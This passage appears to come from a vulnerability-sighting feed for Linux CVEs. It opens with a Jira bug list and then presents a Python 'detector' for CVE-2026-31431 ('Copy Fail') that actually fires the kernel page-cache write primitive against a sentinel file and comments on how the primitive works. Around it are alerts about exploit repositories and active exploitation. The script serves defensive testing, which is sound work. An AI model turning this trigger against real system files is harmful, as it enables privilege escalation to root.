DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (27d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1555\n                      [Houston-1.780] 500 internal server error for \"search\"call inside stop module\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 06, 2026 at 03:26 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-06T15:26:34.000000Z"}, {"uuid": "2f7e14b3-c894-4eb5-8587-7b005929b161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Deemasta/663a32c808164adcacfa7e0877e5198e", "content": "#!/usr/bin/env python3\n# CVE-2026-31431 (\"Copy Fail\") vulnerability detector.\n#\n# Attempts to trigger the algif_aead / authencesn page-cache scratch-write\n# primitive against a user-owned sentinel file in a temp directory. If the\n# scratch write lands inside the spliced page-cache page, the file's contents\n# (as observed via a fresh read) will contain the marker bytes.\n#\n# SAFE BY DESIGN\n#   * Operates on a sentinel file the running user just created. /usr/bin/su\n#     and other system binaries are NOT touched.\n#   * Page-cache corruption is in-memory only; nothing is written back to disk.\n#   * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error.\n#\n# Use only on hosts you own or are explicitly authorized to test.\n\nimport errno\nimport os\nimport socket\nimport struct\nimport sys\nimport tempfile\n\nAF_ALG                    = 38\nSOL_ALG                   = 279\nALG_SET_KEY               = 1\nALG_SET_IV                = 2\nALG_SET_OP                = 3\nALG_SET_AEAD_ASSOCLEN     = 4\nALG_OP_DECRYPT            = 0\nCRYPTO_AUTHENC_KEYA_PARAM = 1   # rtattr type from \n\nALG_NAME = \"authencesn(hmac(sha256),cbc(aes))\"\nPAGE     = 4096\nASSOCLEN = 8     # SPI(4) || seqno_lo(4)\nCRYPTLEN = 16    # one AES block\nTAGLEN   = 16    # truncated HMAC-SHA256\nMARKER   = b\"PWND\"\n\n\ndef build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes:\n    # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys\n    rtattr   = struct.pack(\"HH\", 8, CRYPTO_AUTHENC_KEYA_PARAM)\n    keyparam = struct.pack(\">I\", len(enckey))\n    return rtattr + keyparam + authkey + enckey\n\n\ndef precheck() -> str | None:\n    if not os.path.exists(\"/proc/crypto\"):\n        return \"/proc/crypto missing\"\n    try:\n        socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()\n    except OSError as e:\n        return f\"AF_ALG socket family unavailable ({e.strerror})\"\n    try:\n        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n        s.bind((\"aead\", ALG_NAME))\n        s.close()\n    except OSError as e:\n        return f\"{ALG_NAME!r} cannot be instantiated ({e.strerror})\"\n    return None\n\n\ndef attempt_trigger(target_path: str) -> tuple[bool, bytes]:\n    sentinel = (b\"COPYFAIL-SENTINEL-UNCORRUPTED!!\\n\" * (PAGE // 32))[:PAGE]\n    with open(target_path, \"wb\") as f:\n        f.write(sentinel)\n\n    # Populate page cache.\n    fd_target = os.open(target_path, os.O_RDONLY)\n    os.read(fd_target, PAGE)\n    os.lseek(fd_target, 0, os.SEEK_SET)\n\n    # Master socket: bind + key.\n    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n    master.bind((\"aead\", ALG_NAME))\n    master.setsockopt(\n        SOL_ALG, ALG_SET_KEY,\n        build_authenc_keyblob(b\"\\x00\" * 32, b\"\\x00\" * 16),\n    )\n    op, _ = master.accept()\n\n    # Per-op parameters travel as control messages on sendmsg, not setsockopt.\n    # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies\n    # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious.\n    aad = b\"\\x00\" * 4 + MARKER\n    cmsg = [\n        (SOL_ALG, ALG_SET_OP,            struct.pack(\"I\", ALG_OP_DECRYPT)),\n        (SOL_ALG, ALG_SET_IV,            struct.pack(\"I\", 16) + b\"\\x00\" * 16),\n        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack(\"I\", ASSOCLEN)),\n    ]\n    op.sendmsg([aad], cmsg, socket.MSG_MORE)\n\n    # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the\n    # op socket. Because algif_aead runs in-place (req->dst = req->src), those\n    # page-cache pages now sit in the destination scatterlist.\n    pr, pw = os.pipe()\n    try:\n        n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0)\n        if n != CRYPTLEN + TAGLEN:\n            raise RuntimeError(f\"splice file->pipe short: {n}\")\n        n = os.splice(pr, op.fileno(), n)\n        if n != CRYPTLEN + TAGLEN:\n            raise RuntimeError(f\"splice pipe->op short: {n}\")\n    except OSError as e:\n        os.close(pr); os.close(pw)\n        op.close(); master.close(); os.close(fd_target)\n        if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP):\n            raise RuntimeError(\n                \"splice into AF_ALG socket not supported on this kernel - \"\n                \"the page-cache attack vector is not reachable here\"\n            ) from e\n        raise\n\n    # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag);\n    # EBADMSG is fine - the scratch write fires before/independent of verify.\n    try:\n        op.recv(ASSOCLEN + CRYPTLEN + TAGLEN)\n    except OSError as e:\n        if e.errno not in (errno.EBADMSG, errno.EINVAL):\n            raise\n\n    op.close()\n    master.close()\n    os.close(pr)\n    os.close(pw)\n\n    # Read back via the existing fd (page cache, not disk).\n    os.lseek(fd_target, 0, os.SEEK_SET)\n    after = os.read(fd_target, PAGE)\n    os.close(fd_target)\n\n    return after, sentinel\n\n\ndef kernel_in_affected_line() -> bool:\n    # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines.\n    rel = os.uname().release.split(\"-\")[0]\n    parts = rel.split(\".\")\n    try:\n        major, minor = int(parts[0]), int(parts[1])\n    except (ValueError, IndexError):\n        return False\n    return (major, minor) >= (6, 12)\n\n\ndef main() -> int:\n    print(f\"[*] CVE-2026-31431 detector  kernel={os.uname().release}  \"\n          f\"arch={os.uname().machine}\")\n    if not kernel_in_affected_line():\n        print(f\"[i] Kernel {os.uname().release} predates the affected \"\n              f\"6.12/6.17/6.18 lines; trigger may not apply even if \"\n              f\"prerequisites match.\")\n\n    reason = precheck()\n    if reason:\n        print(f\"[+] Precondition not met ({reason}). NOT vulnerable.\")\n        return 0\n    print(f\"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.\")\n\n    tmp = tempfile.mkdtemp(prefix=\"copyfail-\")\n    target = os.path.join(tmp, \"sentinel.bin\")\n    try:\n        after, sentinel = attempt_trigger(target)\n    except Exception as e:\n        print(f\"[!] Trigger failed: {type(e).__name__}: {e}\")\n        return 1\n    finally:\n        try:\n            os.remove(target)\n            os.rmdir(tmp)\n        except OSError:\n            pass\n\n    # The exact landing offset of the 4-byte scratch write depends on how\n    # the source/destination scatterlists are laid out by algif_aead for this\n    # combination of inline-AAD + spliced-page input. What's invariant is that\n    # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page,\n    # AND the marker is not present in the original sentinel.\n    marker_off  = after.find(MARKER)\n    marker_orig = sentinel.find(MARKER)\n    diffs       = [i for i in range(PAGE) if after[i] != sentinel[i]]\n\n    if marker_off >= 0 and marker_orig < 0:\n        ctx = after[max(marker_off - 4, 0):marker_off + 12]\n        print(f\"[!] VULNERABLE to CVE-2026-31431.\")\n        print(f\"[!]   Marker {MARKER!r} (AAD seqno_lo) landed in the spliced \"\n              f\"page-cache page at offset {marker_off}.\")\n        print(f\"[!]   Surrounding bytes: {ctx.hex()}  ({ctx!r})\")\n        print(f\"[!] Apply the upstream fix or block algif_aead immediately.\")\n        return 2\n\n    if diffs:\n        first = diffs[0]\n        window = after[first:first + 16]\n        print(f\"[!] Page cache MODIFIED via in-place AEAD splice path \"\n              f\"({len(diffs)} bytes changed, first at offset {first}).\")\n        print(f\"[!]   Window: {window.hex()}\")\n        print(f\"[!]   The controllable scratch-write marker did not land, but \"\n              f\"the kernel still allowed a page-cache page into the writable \"\n              f\"AEAD destination scatterlist.\")\n        print(f\"[!]   Treat as VULNERABLE to the underlying bug class until \"\n              f\"a patched kernel is installed.\")\n        return 2\n\n    print(\"[+] Page cache intact. NOT vulnerable on this kernel.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "creation_timestamp": "2026-05-06T15:53:28.000000Z"}, {"uuid": "a6df5826-7e7b-4177-abab-e6ede39bd765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83088", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail-Container-Escape\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hans362\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 15:47:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T16:00:05.000000Z"}, {"uuid": "2ab97f24-266b-4649-bdbe-40f9e33cff4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31679", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:05:11.563293Z"}, {"uuid": "19f5a1cd-54da-4efc-8bf6-c7184a938de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116528712933814184", "content": "CISA warns: CopyFail Linux vuln exploited.\u2022 Privilege escalation \u2192 root\u2022 Impacts major distros\u2022 Patch deadline May 15\nhttps://www.technadu.com/cisa-warns-of-severe-copyfail-linux-vulnerability-under-active-exploitation-cve-2026-31431/627365/\nAre you patched?#InfoSec #Linux #CyberSecurity", "creation_timestamp": "2026-05-06T17:04:12.756967Z"}, {"uuid": "6f7b739a-9609-403a-82bf-aa0a593f028e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31681", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:06:22.313432Z"}, {"uuid": "295f054b-8288-48ae-8b66-abad585be505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31683", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:06:25.399085Z"}, {"uuid": "00f7eb52-5f2e-41cc-9127-a24a2ceae0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31684", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:06:28.386564Z"}, {"uuid": "eab3e83b-5ee1-4421-8bb9-68ca0dc38bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31686", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:07:00.572926Z"}, {"uuid": "87670d0b-f59b-4c5f-b254-d5e19e535104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:07:05.534421Z"}, {"uuid": "ac26a282-5976-4bc9-95cd-c5e0b64f12f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31687", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:07:03.013980Z"}, {"uuid": "f74abab0-29a3-4864-9f38-22bf23e94701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31695", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:07:07.970754Z"}, {"uuid": "dcdaf7c4-4cf5-4705-806d-a7c04ea6a208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31696", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:07:10.211262Z"}, {"uuid": "ee5bd4b7-2a13-4bd1-aabb-b2cf14aedd30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31698", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:09:26.596033Z"}, {"uuid": "4c9054fc-0b53-4150-89e1-48eeaf16eb3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31699", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:09:29.640294Z"}, {"uuid": "4c75feec-2333-4c2c-9591-6681e12b0d7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31720", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:10:37.202816Z"}, {"uuid": "356d41ff-bc6d-42e1-a6be-79d94715d555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31721", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:10:39.443642Z"}, {"uuid": "9a138bd0-a57b-400e-8650-d7f28153d5fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31726", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:10:41.701382Z"}, {"uuid": "897283a3-3839-4248-9621-ff10f4421e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31755", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:13:46.178728Z"}, {"uuid": "1cc9d6af-28cc-474e-820d-b03dd4e7acb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31701", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:09:31.900860Z"}, {"uuid": "9f575a6f-0185-43e5-8a71-6a1179142a9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83095", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a StarxSky\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 16:57:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\"Copy Fail\" \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T17:00:05.000000Z"}, {"uuid": "6cb638ae-b23b-4b59-aaed-41eb5a6f1211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3ml7fcqcilc2m", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/ (http://news.ycombinator.com/item?id=48017813)", "creation_timestamp": "2026-05-06T19:03:24.449786Z"}, {"uuid": "c79a3f18-65e5-4dc5-bb10-70fa1df98f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31737", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:11:16.091445Z"}, {"uuid": "d9b49437-2752-4f63-af9d-7871478158da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31738", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:11:18.390312Z"}, {"uuid": "c07a7798-672b-4083-8e70-71533f4ad62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ml7iojj2322z", "content": "Linux\u306e\u65b0\u305f\u306a\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300d\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u4e3b\u8981\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u304c\u53ef\u80fd\u306b\n\n\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u3089\u306f\u3001Linux\u306e\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\uff08LPE\uff09\u306e\u8106\u5f31\u6027\u306e\u8a73\u7d30\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u5229\u7528\u3059\u308c\u3070\u3001\u6a29\u9650\u3092\u6301\u305f\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\nCVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a2\uff1a7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027\u306f\u3001Xint.io\u3068Theori\u306b\u3088\u3063\u3066Copy Fail\u3068\u3044\u3046\u30b3\u30fc\u30c9\u30cd\u30fc\u30e0\u304c\u4ed8\u3051\u3089\u308c\u307e\u3057\u305f\u3002\n\n\u300c\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u306f\u3001Linux\u30b7\u30b9\u30c6\u30e0\u4e0a\u306e\u8aad\u307f\u53d6\u308a\u53ef\u80fd\u306a\u30d5\u30a1\u30a4\u30eb\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306b4\u30d0\u30a4\u30c8\u306e...", "creation_timestamp": "2026-05-06T20:03:45.381561Z"}, {"uuid": "8f5a5709-510c-442f-ab1e-2b93e84ee84d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ml7isk3o222z", "content": 